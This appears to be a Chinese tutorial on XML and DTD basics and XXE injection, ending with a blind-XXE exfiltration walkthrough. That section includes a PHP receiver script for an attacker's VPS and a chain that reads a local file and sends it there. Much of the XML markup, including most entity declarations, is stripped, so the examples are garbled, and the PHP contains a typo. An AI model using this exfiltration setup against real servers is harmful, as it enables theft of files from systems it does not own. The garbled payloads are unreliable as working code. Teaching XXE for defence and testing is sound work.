Xml外部实体注入


XML文件格式及作用

copy至:https://www.runoob.com/xml/xml-tutorial.html

学习xxe为什么要了解XML和DTD,直接跳至xxe查看;

定义&作用:

XML 指可扩展标记语言(eXtensible Markup Language)。

XML 被设计用来传输和存储数据。

格式:

<?xml version="1.0" encoding="ISO-8859-1"?>  //声明
		//根元素
?	**Tove**	//子元素
?	**Jani**
?	**Reminder**
?	**Don't forget me this weekend!**

DTD

定义&作用:

文档类定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部:


<?xml version="1.0"?>

	//定义 note 元素有四个元素:"to、from、heading,、body"
		//定义 to 元素为 "#PCDATA" 类型



]>


Tove
Jani
Reminder
Don't forget me this weekend

外部:


<?xml version="1.0"?>

		//DTD外部链接


 Tove
 Jani
 Reminder
 Don't forget me this weekend!

外部文件内容:






DTD通用实体

定义&作用

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

内部实体

语法


实例

DTD 实例:



XML 实例引用DTD:
&writer;©right;

//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

外部实体

语法


实例

DTD 实例:



XML 实例引用DTD:
&writer;©right;

完整的DTD例子

copy自: http://www.vervet.com/


















        

]>

DTD参数实体

  • 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  • 和通用实体一样,参数实体也可以外部引用

Xxe

原理

XML External Entity (XXE) Processing是 XML 外部实体注入;

我们可以控制的点就是上面的DTD实体(包括通用实体和参数实体),外部实体类似于一个XML的包含,我们可以包含我们想要的东西;

如果您的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么您很有可能会遭到XXE的攻击。

XXE能做什么

  • 读文件
  • 扫描端口
  • 命令执行

Payload

有回显

<?xml version="1.0"?>

 ]>

&xianshi;
<?xml version="1.0"?>

 ]>

&xxe;

无回显_Blind XXE,需目标主动发送数据到服务器

VPS部署:

  • test.php
<?php
$ipd = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";
if($ipd){
	
	$a = empty($_GET['a'])? "" : $_GET['a'];
	$t = empty($_SERVER['HTTP_REFERER'])? "" : $_SERVER['HTTP>REFERER'];
	$txt = htmlspecialchars($ipd."--".$a."--".$_SERVER['REQUEST_URI']."--".$t."\r\n");
	$n = fopen("test.txt","a+");
	#  $x = fwrite($n,$txt);	
}
  • test.txt : 用来接收上面php发过来的参数;
  • test.dtd

">
%pe1;
  • 发送的payload:
<?xml version="1.0"?>
 
%pe3;
]>
&ge1;
  • 过程,先调用pe3,到服务器获取test.dtd文件,调用pe1,调用pe2,读取本地文件,访问test.php带着pe2作为参数发送给服务器,test.php解析后写入test.txt;

相关